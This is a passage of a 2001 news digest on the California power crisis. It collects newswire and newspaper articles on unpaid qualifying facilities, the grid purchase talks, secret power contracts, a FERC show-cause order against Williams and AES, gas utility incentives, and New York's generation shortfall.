      we will. But it needs to address how we will pay the QFs," a SoCal
      Edison
      spokesman said.
      SoCal Edison and PG&E Corp. (PCG) unit Pacific Gas & Electric Co. are
      struggling
      under nearly $13 billion in uncollected power costs due to an
      inability to pass
      high wholesale power costs to customers under a rate freeze.
      Gov. Gray Davis Tuesday blasted the utilities for not having paid
      their QF bills
      in full since December. Pacific Gas & Electric Co. has made some
      partial
      payments to QFs, but SoCal Edison has paid nothing. Together, they
      owe the QFs
      about $1 billion, but the order doesn't address that debt.
      An Edison executive said, in reaction to the governor's sharp
      comments, that the
      company simply doesn't have the money to pay creditors.
      "The root problem here is there just isn't enough money in the
      current rate base
      to pay our bills," said Edison Senior Vice President of Public
      Affairs Bob
      Foster. "We understand the financial distress (the QFs) face; we are
      facing
      financial distress ourselves."
      The proposed PUC order would also require the state's investor-owned
      utilities
      to offer the small generators five- and 10-year contracts for power
      for $79/MWh
      and $69/MWh, respectively.
      The QFs "may be able to live with" the PUC proposal, but the five-
      and 10-year
      contract prices may be inadequate if natural gas prices at one of the
      borders are high, said Jan Smutny-Jones, president of the Independent
      Energy
      Producers Association. Natural gas prices into California are
      currently higher
      than anywhere in the country.
      But some say the proposed decision may not be enough to prevent the
      QFs from
      filing involuntary bankruptcy proceedings against the utilities for
      the money
      they are still owed.
      "There's still a lot of skepticism. To say our position has changed
      based on the
      CPUC decision or the governor's announcement is not accurate. A lot
      still has to
      happen," said Jay Lawrence, a spokesman for a renewable creditors
      committee.
      jessica.berthold@dowjones.com -0- 22/03/01 01-27G

      State Says It's Accelerating Plan to Buy Power Utilities' Grid
      Government: Talks with Edison are reported near completion, but
      agreement with heavily indebted PG&E has a way to go.
      RONE TEMPEST; DAN MORAIN
      A-22

      SACRAMENTO -- As blackouts hit California for a second day Tuesday, a
      key
      consultant to Gov. Gray Davis said negotiations to buy the power grid
      owned by
      the state's largest utilities "are proceeding at an accelerated
      pace."
      Wall Street consultant Joseph Fichera said talks with Southern
      could be wrapped up within days, although those with PG&E are much
      less
      advanced.

      The administration and PG&E have not reached even an agreement in
      principle, he
      said. PG&E, which has more debt than Edison, says its transmission
      lines are
      more extensive than those of its Southern California counterpart.
      The state wants to buy the utilities' transmission lines and other
      assets for
      about $7 billion to provide cash to the utilities, help stabilize the
      electricity supply and ease the power crunch that has plagued
      California for
      months. To research the grid purchase, Fichera said, the state has
      had to pore
      over 80,000 documents just to assess the utilities' liabilities.
      "We are working at a good pace," said Fichera, chief executive of the
      New York
      firm Saber Partners. " . . . If we get to a deal-breaker, it might be
      longer."
      By making Fichera, who is also a consultant to the Texas Public
      Utilities
      Commission, available to reporters Tuesday, the Davis administration
      was clearly
      trying to reassure the public that progress is being made on the
      governor's plan
      to pull the state out of the crisis.
      Since mid-January, when the big utilities' credit failed and
      suppliers stopped
      selling to them, the state has spent nearly $3 billion buying
      electricity from a
      handful of large suppliers in Texas, Oklahoma, Georgia and North
      Carolina. Not a
      cent has gone to the hundreds of alternative energy suppliers in
      California who
      provide about a quarter of the state's electricity.
      The Monday and Tuesday blackouts occurred partly because many of the
      cash-strapped alternative suppliers, including solar, biomass and
      wind power
      units, cut their normal supply to the system in half. They say Edison
      and PG&E
      have not paid them since November; the utilities say they are out of
      cash.
      Assemblyman Fred Keeley (D-Boulder Creek) said the plight of the
      alternative
      suppliers has dragged on because of the complexity of dealing with
      "almost 700
      individual contractors."
      Another delaying factor, said Keeley, who with state Sen. Jim Battin
      (R-La
      Quinta) worked for almost three months to come up with a legislative
      plan to
      lower the small producers' prices, was "the huge enmity . . .
      manifested between
      the utilities and the qualifying facilities. These people just don't
      like each
      other."
      This week's blackouts provided two painful lessons for the Davis
      administration:

      * When it comes to electricity, size doesn't matter--every kilowatt
      counts.
      During peak use, a small wind power facility in Riverside County can
      make the
      difference between full power and blackouts.
      * There is no such thing as a partial solution. Unless the whole
      energy equation
      is balanced, the parts don't work.
      For the Davis plan to work, several key elements need to come
      together or
      utility customers will almost certainly face rate increases above the
      19%
      already set in motion * The cost of power purchased by the state must
      be reduced
      through long-term contracts with the big out-of-state producers.
      These contracts, the details of which the Davis administration has
      kept
      confidential, are still being negotiated by Davis consultant Vikram
      Budhraja of
      the Pasadena firm Electric Power Group. The administration says it
      has concluded
      40 contracts with generators, about half of which have been signed.
      According to the most recent statistics released by the Department of
      Water
      Resources, which buys power for the state, current prices are still
      well above
      the rate state Treasurer Phil Angelides says is necessary for a
      planned
      $10-billion bond offering to succeed.
      The bonds, set for sale in May, will be used to reimburse the state
      for the
      money it will have spent by that time to buy electricity. The state
      is currently
      spending at a rate of $58 million a day to buy power. If prices stay
      high, the
      $10 billion in bonds will not cover the state's power purchases by
      the end of
      the summer.
      Angelides says he cannot proceed with bridge financing for the bonds
      until the
      Public Utilities Commission devises a formula to guarantee that a
      portion of
      utility bills will be dedicated to bond repayment. Angelides has
      estimated that,
      under the January law that put the state in the power buying
      business, the state
      must be reimbursed $2.5 billion annually, and that $1.3 billion is
      needed to
      service the debt.
      PUC Administrative Law Judge Joseph R. DeUlloa is expected to
      announce his
      ruling on the reimbursement rate later this week, leading to a PUC
      vote on the
      matter as early as next week.
      * The rates charged for electricity by the alternative producers,
      known as
      qualifying facilities, must be cut at least in half, down from an
      average of
      more than 17 cents per kilowatt-hour. In his news conference Tuesday,
      Davis said
      he will ask the PUC to set QF rates at 6.9 cents for 10-year
      contracts and 7.5
      cents for five-year contracts.
      Meanwhile, PUC Chairman Loretta Lynch, a Davis appointee, said
      Tuesday that the
      commission will vote next week on a proposed order requiring Southern
      Edison and Pacific Gas & Electric to pay the QFs for electricity in
      the future.
      Lynch said a recent PUC assessment showed that the utilities have
      enough cash on
      hand for that.
      "We are trying to make sure the folks providing the power get paid,"
      Lynch said.
      "The qualified facilities have demonstrated that they haven't been
      paid and that
      it is impairing their ability to provide power."
      The utilities contend that if they pay the small providers what they
      owe them,
      there will not be enough money left to pay other creditors.
      "There is not enough money in the current rate structure to pay the
      [alternative
      producers], pay the [Department of Water Resources] and pay the
      utilities for
      their generation," said John Nelson, a spokesman for PG&E.
      * The utilities must sell to the state the power they produce
      themselves, mainly
      from hydro and nuclear sources, at a rate only slightly above the
      cost of
      producing it. This is tied to the ongoing negotiations between the
      Davis
      administration and the utilities to restore the near-bankrupt
      utilities to
      solvency.
      *
      Times staff writers Julie Tamaki, Miguel Bustillo and Tim Reiterman
      contributed
      to this report.

      Davis OKs Subsidy of Pollution Fees Smog: As part of secret deal to
      get long-term energy contracts, state would pay for some of the
      credits that allow excess power plant emissions. Critics renew call
      for full disclosure.
      DAN MORAIN
      TIMES STAFF WRITER
      A-23

      SACRAMENTO -- As part of his closed-door negotiations to buy
      electricity, Gov.
      Gray Davis has agreed to relieve some generators from having to pay
      potentially
      millions of dollars in fees for emitting pollutants into the air,
      Davis said
      Tuesday.
      Davis announced two weeks ago that his negotiators had reached deals
      with 20
      generators to supply $43 billion worth of power during the next 10
      years.

      However, the Democratic governor has refused to release any of the
      contracts or
      detail various terms, contending that release of such information
      would hamper
      the state's ability to negotiate deals with other generators and
      therefore
      ultimately would raise prices Californians pay for electricity.
      Sources familiar with the negotiations, speaking on condition of
      anonymity, said
      the agreement reached with Dynegy Inc., a power company based in
      Houston, is one
      that includes language requiring that the state pay the cost of
      credits that
      allow emissions. Dynegy spokesman Steve Stengel declined to discuss
      the
      company's deal with the state.
      "We couldn't get them to sign contracts; it was a sticking point,"
      Davis said of
      the decision to pay the fees of some generators. "We had to lock down
      some power
      so we were not totally dependent on the spot market."
      The fees in question are part of an emission trading system known as
      RECLAIM.
      Under the system, companies are allotted a certain amount of
      allowable
      pollution. If their operations pollute more, companies are required
      to purchase
      credits on an open market. Currently the credits cost about $45 per
      pound of
      pollution--an amount that can lead to a bill of well over $10 million
      a year for
      a power plant.
      The South Coast Air Quality Management District, which regulates
      pollution in
      the Los Angeles Basin, is considering steps to significantly lower
      the cost of
      the system--a step that could considerably cut the state's potential
      cost, Davis
      said.
      Senate Energy Committee Chairwoman Debra Bowen (D-Marina del Rey)
      defended the
      decision to cover the power company's costs.
      "It is a question of whether it brings down the price of power," she
      said. "If
      it brings down the price of power, I don't have a problem with it."
      Nevertheless, word that the contracts could bind the state to pay
      pollution fees
      caused some critics of Davis' policy to renew calls for Davis to
      reconsider the
      secrecy surrounding the power negotiations. The payment provision
      underscores
      the fact that the contracts involve more than merely the prices the
      state will
      pay for its megawatts, the critics note.
      "The Legislature should have known about it," said Senate President
      Pro Tem John
      Burton (D-San Francisco). "It is going to cost taxpayers money. It
      makes you
      wonder. . . . This was a policy issue that was never discussed with
      the
      Legislature."
      V. John White, a lobbyist for the Sierra Club, who also represents
      energy producers, called the contract proposal "a horrible
      precedent."
      "Until we know exactly what the state has agreed to and how much of a
      subsidy
      this represents, we can't determine how serious the breach of
      principle this
      is," White said.
      Another critic of the secrecy of the negotiations, Terry Francke,
      general
      counsel for the California First Amendment Coalition, said the
      provision in
      question "raises the possibility that there are other [concessions]"
      that have
      not yet come to light.
      In the summer, when demand for power is highest, some generators
      probably will
      exceed pollution limits set by regional air quality management
      districts.
      To avert blackouts, state officials might ask the companies to keep
      plants
      running. In such cases, some sources familiar with aspects of the
      contracts
      said, the contract language could be interpreted to suggest that the
      state would
      cover any fines--although Davis said Tuesday the state will not cover
      the cost
      of fines.
      A recent Dynegy filing with the Securities and Exchange Commission
      the rising cost of pollution-related measures. The company, which is
      partners
      with NRG Energy in three California plants in El Segundo, Long Beach
      and
      Carlsbad in San Diego County, said its "aggregate expenditures for
      compliance
      with laws related to the regulation of discharge of materials into
      the
      environment" rose to $14.3 million in 2000, from $3.6 million in
      1999.
      A South Coast Air Quality Management spokesman said Dynegy's
      facilities appear
      to be fairly clean--although Sierra Club lobbyist White said Dynegy
      has been
      seeking a permit at one of its plants to burn fuel oil, which is
      dirtier than
      natural gas.
      Davis said he intends to "make this information public," but he added
      that "we
      do not want to put the public's interest in jeopardy by asking them
      to pay
      higher prices."
      "Nobody likes the notion that [the administration is] not being fully
      forthcoming," Davis said. "But I also have a corollary responsibility
      that I
      don't stick these generators with a higher rate."

      FERC ORDERS WILLIAMS ENERGY AND AES TO EXPLAIN THEIR REFUSAL TO MAKE
      CERTAIN RMR UNITS AVAILABLE TO CALIFORNIA ISO LAST YEAR
      Foster Electric Report
      5
      (c) Copyright 2001, Foster Associates, Inc.

      Following a preliminary, non-public investigation, FERC directed AES
      Southland
      Inc. and Williams Energy Marketing & Trading Co. (IN01-3) on March 14
      to show
      cause why they did not violate section 205 of the Federal Power Act
      (FPA) by
      failing to provide power to the California ISO from two reliability
      must-run
      (RMR) generator units during a period in April and May 2000. The
      investigation
      responded to a matter referred by the Cal-ISO. If a violation is
      found, Williams
      Energy and AES could be required to refund excess profits of $10.9
      million (as
      calculated by FERC) and face restrictions on their market-based rate
      authority
      for a year.
      The show cause order involves two generation units (Alamitos 4 and
      Huntington
      Beach 2), owned and operated by AES. Williams Energy markets all
      output from the
      Alamitos and Huntington Beach plants, including the two units at
      issue here,
      pursuant to a tolling agreement filed with the Commission. The
      Cal-ISO
      designated the two units as RMR units that it could call on when
      necessary to
      provide energy and ancillary service essential to the reliability of
      the
      California transmission network. The Cal-ISO makes both a fixed
      payment to the
      RMR owner or operator to compensate for the RMR unit's availability
      and a
      variable payment for the RMR unit's output (if the unit is not
      otherwise
      participating in the market). Williams Energy and the Cal-ISO
      executed RMR
      agreements, filed as rate schedules with the Commission, allowing the
      Cal-ISO to
      dispatch units "solely for purposes of meeting local reliability
      needs or
      managing intra-zonal congestion." The ISO may dispatch a non-RMR unit
      if the
      designated RMR unit is not available. Under its RMR agreement with
      the ISO,
      Williams is paid the greater of its contract price or marginal cost
      for
      operating RMR units. However, if a non-RMR unit has to be dispatched
      because a
      designated RMR unit is unavailable, Williams will be paid its bid
      price, not the
      RMR contract price.

      During the April to May 2000 period, the Cal-ISO sought to dispatch
      both
      Alamitos 4 and Huntington Beach 2 as RMR units to provide voltage
      support.
      However, according to the FERC order, Williams Energy refused to make
      Alamitos 4
      available from April 25 through May 5, and to make Huntington Beach 2
      available
      from May 6 through May 11, "for reasons not directly related to the
      necessary
      and timely maintenance of the units." Consequently, the Cal-ISO was
      forced to
      dispatch non-RMR units at a higher cost, namely, Williams Energy's
      bid price for
      service provided by the replacement units.
      By contrast, if the RMR units had not experienced outages and been
      available
      from April 25 through May 11, Williams Energy would have received
      either (1) the
      market revenues only from the respective units, which would have
      resulted in no
      payments for RMR output from the ISO to Williams Energy, or (2)
      Williams
      Energy's variable cost for operating the RMR units less the market
      revenues from
      the respective units' output. Accordingly, FERC observed, Williams
      Energy had "a
      financial incentive to prolong any outages of Alamitos 4 and
      Huntington Beach 2
      in April and May 2000."
      The bid price for the non-RMR units was at or near the Cal-ISO's
      then-effective
      bid cap of $750/MWh, FERC continued. Therefore, Williams Energy
      received
      payments from the Cal-ISO of more than $11.3 million, or about $10.3
      million
      greater than the estimated average variable operating cost of the
      non-RMR units
      (approximately $63/MWh) during the period in question. This indicates
      a refund
      amount, including interest, of nearly $10.9 million.
      The information in this order and a non-public appendix, the
      declared, suggests that AES declared outages at the two RMR units and
      maintained
      Huntington Beach 2 in a manner inconsistent with good utility
      practice, and that
      Williams Energy took action to extend the outage at Alamitos 4 and to
      make
      Huntington Beach 2 unavailable for "pretextual reasons."
      Based on this information coupled with Williams Energy's financial
      incentive not
      to make the Alamitos 4 and Huntington Beach 2 units available, FERC
      found
      serious questions about whether (1) AES and Williams Energy violated
      applicable
      RMR contracts and tariffs on file with the Commission pursuant to FPA
      section
      205 when they refused to make Alamitos 4 and Huntington Beach 2
      available for
      dispatch by the Cal-ISO; (2) whether Williams acted inconsistently
      with its
      market-based rate authority and the market monitoring information
      protocols of
      the Cal-ISO's tariff regarding the unavailability of the RMR units
      during the
      period at issue; and (3) whether AES violated a tolling agreement on
      file with
      the Commission pursuant to section 205.
      The Commission identified two remedies for these potential
      violations: a refund
      by Williams Energy and/or AES of revenues received greater than the
      amount that
      would have collected from the ISO if the RMR units had been
      available, and a
      condition on Williams Energy's market-based rate authority.
      Specifically, for a
      one-year period, if an RMR unit were not available when dispatched by
      the
      Cal-ISO, a non-RMR unit dispatched in its place would only receive
      payment
      according to the terms of the applicable RMR contract. In other
      words, Williams
      Energy would not receive the bid price for operation of the
      substitute, non- RMR
      unit.
      The Commission directed Williams Energy and AES to show cause, within
      20 days,
      why they should not be found to have committed the above-described
      violations
      and why the specified remedies should not be imposed.
      Further, to ensure procurement of all relevant information, the
      instituted a formal, non-public investigation into the operation,
      maintenance
      and sales of power from the Alamitos and Huntington Beach plants in
      2000 and
      2001.

      Calif Consumers Failing To Conserve Pwr Despite Blackouts
      03/20/2001

      LOS ANGELES -(Dow Jones)- California consumers haven't been
      conserving enough
      electricity to relieve strain on the power grid and reduce demand in
      the state,
      a spokesman with the Independent System Operator said Tuesday.
      The ISO said that despite two straight days of statewide rolling
      blackouts,
      consumers aren't using less electricity, which means additional
      megawatts will
      be taken off the grid. As a result, blackouts could last longer and
      impact
      additional communities, the ISO said.

      ISO spokesman Pat Dorinson said Monday "conservation in California is
      no longer
      an option," but consumers in the state aren't heeding the call to
      reduce
      consumption.
      Conservation efforts during rolling blackouts Monday and Tuesday were
      far less
      than Jan. 17 and Jan. 18, when blackouts swept through Northern
      California due
      to transmission constraints. Jim Detmers, the ISO's vice president of
      operation,
      said consumers saved the state about 1,000 megawatts of electricity,
      enough
      power for 1 million houses.
      The ISO said conservation efforts Monday were about 500 MW or less.
      "We would be very happy if we saw the same amount this time," Detmers
      said.
      The state's Energy Commission said consumers think it's no longer
      important to
      save electricity until blackouts are imposed.
      "People have been saving generally, but it isn't a big bump from hour
      to hour,"
      a spokesman for the Energy Commission said.
      Gov. Gray Davis launched a massive conservation campaign this month,
      promising
      consumers a rebate on their summer electricity bill if they save at
      least 20% of
      electricity, compared with last summer.
      The governor said he believes conservation this summer will amount to
      possibly
      saving 5,000 MW and averting the chance of rolling blackouts.
      -By Jason Leopold; Dow Jones Newswires; 323-658-3874;

      Gas Co.'s Success Opens Debate Southern California energy supplier
      has reaped
      millions of dollars in state incentives for keeping down its costs.
      Though
      consumers get a share of the windfall, regulators are asking whether
      get more of the bonus, which is expected to be huge this year, as a
      form of
      price relief. The natural gas provider says it deserves to keep its
      reward.
      TIM REITERMAN
      03/18/2001
      C-1

      SAN FRANCISCO -- While consumers suffer soaring energy bills and the
      big
      electric utilities lurch toward insolvency, the news is not all dire
      at Southern
      California Gas Co.
      Through vigorous deal making, the Sempra Energy subsidiary has
      consistently
      beaten the volatile natural gas market during the last year, and the
      company
      stands to reap millions of dollars in savings through a state
      incentive program
      that rewards utilities for keeping costs down.

      For several years, the utility has been splitting the savings 50-50
      with
      ratepayers whenever the company's gas costs fall slightly below
      market levels.
      Those savings, Gas Co. executives acknowledged, have shot to
      unprecedented
      heights during the state's power crisis.
      Now, in this climate of high consumer gas bills and runaway market
      prices,
      regulators are taking another look at the program. The question
      before the
      Public Utilities Commission: Should Gas Co. ratepayers, who endured
      huge bill
      increases this winter, get a bigger share of the savings?
      The total windfall under the incentive program has in some years
      exceeded $20
      million. But the amount for the last 12 months is expected to
      multiply many
      times over, company executives said, partly because the Gas Co. has
      done so well
      in the wild market by selling, lending and trading gas as well as
      buying it.
      "The recent market conditions . . . could possibly result in some
      unintended
      consequences that result in shared savings of benefits that may be
      more
      appropriately allocated entirely to ratepayers," the PUC's consumer
      protection
      arm, the Office of Ratepayer Advocates, reported Oct. 30, even before
      the latest
      upward market spirals.
      Gas Co. representatives express frustration, saying they have done
      what the
      state has requested under its gas-cost incentive program: Buy
      smarter, and pass
      the savings along to its 5 million residential and small-business
      customers. The
      company contends it has worked hard to keep bills down and should be
      rewarded
      for taking risks to obtain gas at the lowest possible cost.
      "The PUC, every time we do well, raises the bar on us," said Jim
      Harrigan,
      director of gas acquisition. "I don't necessarily agree with it."
      By virtue of its purchasing power and storage and pipeline capacity,
      the Gas Co.
      has become a big player in the regional natural gas market. In the
      company's
      bustling trading room at its Los Angeles headquarters, 15 employees
      track price
      movements, pipeline supplies and even the weather via computer, while
      cutting
      deals and arranging gas shipments.
      Although the Gas Co. buys the commodity for its customers, the
      company also
      sells to marketers, other utilities and producers. State officials
      say the
      number of transactions by the company has risen steeply to 10,000 to
      20,000 a
      year, including gas sales along California's border, where prices
      have rocketed.

      The PUC created the cost incentive program for the state's three
      major gas
      utilities--San Diego Gas & Electric Co. in 1993, Southern California
      Gas the
      next year and PG&E Corp.'s Pacific Gas & Electric Co. in 1997. Like
      Southern
      California Gas, SDG&E is a subsidiary of Sempra Energy.
      The program was designed to give utilities added motivation for
      obtaining gas at
      the best price for customers. It replaced lengthy and contentious
      reviews by the
      PUC, which assessed whether utilities had purchased gas at reasonable
      prices and
      sometimes ordered them to return millions of dollars to customers.
      An annual audit of the Gas Co. program and a staff evaluation
      requested by the
      PUC recently concluded that the program has achieved many of its
      goals, but it
      also proposed adjustments that would give customers a greater share
      of the
      rewards.
      "These incentives were designed in less volatile times," said program
      supervisor
      Mark Pocta of the Office of Ratepayer Advocates, which conducted the
      audit.
      "There is a question of how much should go to ratepayers and
      shareholders." His
      office also plans to assess whether the Gas Co.'s trading had any
      negative
      effects on the gas market, resulting in diminished supplies or higher
      prices for
      other utilities and their customers.
      Under the program, the Gas Co. shares risks and rewards with its
      ratepayers, but
      since the program was launched, it has consistently produced awards.
      If the cost
      of gas is 0.5% or more below a benchmark based on monthly gas market
      indexes,
      the company and its customers split the savings 50-50.
      California's gas utilities are not allowed to profit on their raw
      commodity
      costs; they merely pass along those costs to ratepayers with no
      markup. The
      savings under the incentive program are automatically reflected in
      consumers'
      monthly gas bills but are not itemized.
      At the end of the year, the utilities request their share of the
      savings, and
      the PUC has routinely granted approval. Then the companies, and thus
      their
      shareholders, are paid through customer utility bills.
      The resulting bill increases typically have been modest, less than
      1%. But as
      the awards increase, regulators say, the effect on customers will
      become more
      significant unless the present structure is changed.
      "There's no question, when you start to talk about $100 million [or
      more in
      savings], and add [the company's award] into rates in a year, it will
      make a
      noticeable difference," said Los Angeles economist Jeff Leitzinger,
      president of
      Econ One, who has done consulting for the Gas Co.
      Still, he said, ratepayers should bear in mind that they already
      benefit from
      below-market gas and transportation costs.
      In the early years of the program, records show, the Gas Co.'s awards
      went from
      zero to $3.2 million, $10.6 million, $2 million and $7.7 million.
      Last year's
      award of $9.8 million is awaiting PUC approval.
      This year's proposed award, covering the period through the end of
      this month,
      has not yet been submitted by the Gas Co. But the utility has
      provided monthly
      figures and oral updates on a confidential basis to PUC officials,
      who declined
      to provide figures.
      Harrigan of the Gas Co. said the savings are expected to multiply
      "many times
      over," largely because the company was well-equipped for the market
      fluctuations
      and tried to insulate its customers from high gas prices.
      "Any trading company, especially one with assets like we have, has
      benefited
      from volatility in the market," he said.
      Harrigan said, however, that he does not believe the company's level
      of activity
      has adversely affected the market and that its trading pales in
      volume to that
      of unregulated energy companies.
      Anne Smith, the Gas Co.'s vice president of customer service and
      marketing, said
      the utility will not release figures for this year's incentive
      program until
      they are filed with the PUC in June.
      "I don't want to interrupt that process," Smith said, noting that the
      PUC
      ultimately will determine the company's award. "I think they need to
      focus on
      what [the Gas Co.] has done for the ratepayers. It has been immense."
      Although the typical monthly gas bill has risen to $80 from $50 a
      year ago, Gas
      Co. customers tend to have lower rates than those of other California

      The company's gas procurement cost in February was 66 cents per
      therm, or 100
      cubic feet. That's more than twice last year's cost but only about
      half what
      sister company SDG&E paid for its 740,000 customers in February. It's
      also much
      lower than the $1.09 per therm PG&E pays.
      "We were as upset about the overall [gas price] increase as anyone
      else,"
      Harrigan said. "I would rather see the prices of a year ago, even
      though we
      managed to do a little better in the [recent] environment."
      When it comes to keeping down costs, regulators say, the Gas Co. has
      advantages
      over other utilities in the marketplace. For one, the company has so
      much
      pipeline capacity at major gas basins that it purchases a relatively
      small
      portion of its needs--about 10% to 15%--at the California border,
      where prices
      in December briefly rose to the equivalent of $6 per therm, or 20
      times those a
      year earlier.
      This presents opportunities.
      "At the beginning of the month, they forecast a certain amount of gas
      they have
      to buy," said Pocta of the Office of Ratepayer Advocates. "If they go
      out and
      buy and do not need to use as much because the weather is more
      moderate than
      expected, they can either inject the gas into storage or they can
      make sales at
      the border."
      With gas price run-ups like those seen in the last year, Pocta said,
      "there is a
      question: Should that benefit be shared, or flow entirely to
      ratepayers?"
      Customers, he pointed out, may be entitled to additional benefits
      because they
      pay for the interstate and intrastate pipeline capacity and the gas
      storage that
      give the company the flexibility to make advantageous deals.
      "By the same token, we want [the Gas Co.] . . . to go into the market
      and
      generate cost savings that can be passed on to the customers," he
      added. "We
      want them to have incentives. The question is how to balance them."
      Under deregulation, the Gas Co. adopted the nontraditional role of
      marketer,
      according to a PUC Energy Division report in January. The company
      makes gas
      sales at various locations. It engages in exchanges. It makes futures
      transactions to help stabilize costs.
      "They look for ways to lower the gas cost," said Richard Myers,
      program
      supervisor at the Energy Division. "Before they were lots more
      risk-averse. Now
      they feel they can take risks and make money for shareholders, and it
      is a
      benefit for ratepayers at the same time."
      The incentive programs are tailored to individual utilities, so it is
      difficult
      to compare them. Records show that the shared savings at SDG&E, a
      much smaller
      utility, declined steadily from $9.2 million in the 1996-97 cycle to
      $560,000 in
      1999-2000.
      Spokesman Ed Van Herik said the falloff largely represents a drop in
      gas
      purchases, especially as the company sold off its own gas-fired
      electricity-generating plants. He said the company does not yet know
      how much
      savings have accrued in the last year.
      In an annual report to the PUC in February, PG&E said it had no
      savings under
      the incentive program and thus it is not entitled to any award for
      the 1999-2000
      cycle.
      The Utility Reform Network, a San Francisco-based consumer advocacy
      group, said
      it will closely watch the PUC's evaluation of the incentive program
      at the Gas
      Co.
      "We want to make sure, given the dramatic changes in the gas market
      and prices,
      ratepayers are not left out of the [additional] benefits," TURN
      attorney Marcel
      Hawiger said. "We'll look to see whether the mechanism should be
      changed."
      Severin Borenstein, director of the Energy Institute at UC Berkeley,
      said the
      program should be changed to provide more incentive for utilities to
      enter
      long-term contracts that would smooth out volatility in the market.
      "Unfortunately, under the system," he said, "the only incentive is to
      beat the
      [spot] market."

      Use this file to download and print all the articles in this section
      (See attached file: Dow Jones
      Interactive-california-03233001-selected.doc)

      IMPLICATIONS FOR OTHER MARKETS

      New York:   New York at the crossroads
      Wednesday, March 21, 2001

      Energy Insight

      (Embedded image moved to file: pic24389.pcx)

      By Dave Todd

      dtodd@ftenergy.com

      U.S. Energy Secretary Spencer Abraham declared this week that the Big
      Apple is on the verge of being bitten hard by power cuts and rising
      energy prices.

      Delivering the keynote address at the U.S. Chamber of Commerce's
      national energy summit in Washington Monday, Abraham said,
      "California is not the only state facing a mismatch between supply
      and demand," what with "electricity shortages predicted for New York
      City and Long Island this summer" and low capacity margins
      threatening electricity reliability elsewhere across the country. But
      how likely is it that New Yorkers will face blackouts of the sort
      confronting Californians?

      Not very, says energy trade specialist Edward Krapels, managing
      director of Boston-based METIS Trading Advisors. Krapels, a
      consultant helping major Northeastern utilities, such as Consolidated
      Edison, design market-hedging programs, adamantly decried what he
      said are facile comparisons between conditions in New York and
      California, there being "more differences than there are
      similarities" between those two industrial cornerstones of the
      country's economy in respect to energy security management.

      "First of all, New York has a more varied portfolio of energy
      generation sources than California," he said. California has hydro,
      nuclear and gas, but when it lost a lot of hydro, the state needed
      gas to pick up the slack, and the "capacity just wasn't there." In
      New York's case, the state has oil and coal still in the mix and its
      overall dependence on gas is much lower than California's, Krapels
      added.

      New York avoids making same mistakes

      Portfolio diversity is one pillar of any effective plan to help New
      York avoid the same errors made in redesigning California's
      marketplace. New York's Independent System Operator (ISO), in a new
      report warning that the state is at an "energy crossroads" in terms
      of its capacity adequacy in the immediate future, argues that a
      concerted effort is required to arrest declining in-state generation
      capacity reserve margins, and a strategy must be put in place,
      whether or not new generation comes on-line, in accordance with
      current anticipated scenarios.

      A measure of New York's essential difficulty is that, between 1995
      and 2000, statewide demand for electricity grew 2,700 MW, while
      generating capacity expanded by only 1,060 MW. With no major new
      generating plants in downstate New York fully approved, the gap is
      expected to continue to widen. To avoid "a replication of
      California's market meltdown" the New York ISO calculates the state's
      daily generating capacity needs to grow by 8,600 MW by 2005, with
      more than half of that located in New York City and on Long Island.
      Expressing concern this may be too big a burden for the current
      bureaucratic process to bear, the ISO wants to see a state-appointed
      ombudsman named to help would-be merchant power plant investors plow
      through red tape.

      "Increasing New York's generating capacity will also lessen the
      state's escalating and risky reliance on out-of-state sources of
      electricity," the ISO added. "Since 1999, New York State has been
      unable to cover its reserve requirements from in-state sources."

      Not everyone agrees with that analysis, insofar as it argues for
      circling the wagons inward. Some analysts believe the ultimate
      solution lies not in tying in more inwardly dedicated power, but in
      expanding the marketplace by breaking down inter-jurisdictional
      barriers. In any case, New York energy regulatory authorities and
      those responsible elsewhere in the U.S. Northeast, such as PJM
      (Pennsylvania-New Jersey-Maryland) Interconnection and the New
      England Power Pool, are in vastly better shape in terms of
      "cross-border" cooperation than California and its neighbors in that
      efforts are being made among various authorities toward developing an
      integrated regional electricity market. In California, by contrast,
      the state's focus?for example, in the case of new gas-fired power
      plant development?has been to ensure dedicated supply to the
      California market alone, rather than on a regional marketplace.

      (Embedded image moved to file: pic05075.pcx)

      The New York ISO's new broad-based analysis of market-restructuring
      needs argues that the relatively stronger health of its reformed
      environment is "due in large part to the ability of New York's
      utilities to enter into long-term power contracts."

      What needs to be done most, it says, is to move aggressively to build
      some of the more than 29,000 MW of "proposed new generation in the
      siting pipeline."

      In the meantime, the 30,200 MW of electricity New Yorkers used on a
      peak day last summer shouldn't be eclipsed on too many days this
      coming summer (given early long-range weather forecasts). Demand,
      however, is expected to increase at an annual average rate of up to
      1.4%.

      So while New York City, the rest of the state and adjacent parts
      might breathe easy this year, it could be a brief rest from the fray.
      Meanwhile, a 4% shortfall is still being planned for this summer that
      is not yet provided for, as authorities hurriedly seek to arrange new
      generation plants around Manhattan, on Long Island and even on barges
      offshore.

      One way or another, whether it is the weather or the politics of
      siting new energy facilities, it's going to be a hot time in the
      city.

      Long-term solutions hit brick wall

      Meanwhile, attempts at longer-term solutions continue to run into
      trouble. Last week, Connecticut state regulators came out against a
      proposal to run a new underwater cable under Long Island Sound that
      Hydro-Quebec subsidiary TransEnergie U.S. Ltd. wants to build to pump
      more juice into Long Island Power Authority's load pocket. Despite
      strong promises from TransEnergie to be diligent in avoiding damage
      to oyster beds in Long Island Sound, the proposal failed to convince
      authorities, who were persuaded the pipeline project could lead to
      diversion of electricity from Connecticut.

      In similar fashion, private companies wanting to build 10 small
      independent power plants and temporary generators offshore New York
      City are running into intense opposition from environmental groups
      and citizen orga
nizations?some of whom have taken their cases to the
      state assembly in Albany.

      The David vs. Goliath nature of such controversies has further
      alerted energy companies to the difficulties of addressing complex
      energy supply issues that may ultimately devolve to people not
      wanting things in their backyard, regardless of what the alternative
      might mean to their fellow citizens or the greater public good.

      But suddenly, in New York, California's troubles?while still distant
      in their intensity? may not be so far away. By some estimates, this
      summer's bills for Consolidated Edison customers could be up as much
      as one third or more over last year's charges.

      Letting the time slip when it comes to building new infrastructure
      isn't going to make the pain go away.

      NEW YORK:  NY-ISO REPORT SAYS STATE NEEDS 4,000 - 5,000 MW OF NEW
      GENERATION SOON TO AVOID SEVERE SHORTAGES; NY-ISO ALSO ASKS FERC TO
      EXTEND BID CAP AND TEMPORARY EMERGENCY PROCEDURES
      2

      Raising the specter of an East Coast version of the California
      crisis, the New
      York Independent System Operator, Inc. (NY-ISO) is warning of serious
      electricity shortages, air quality deterioration and stunted economic
      growth
      without immediate approval of between 4,000-5,000 MW of new
      generating capacity
      in the state. Of this amount, 2,000-3,000 MW is needed to serve New
      York City.
      Another 8,600 MW of new capacity will have to be built by 2005, the
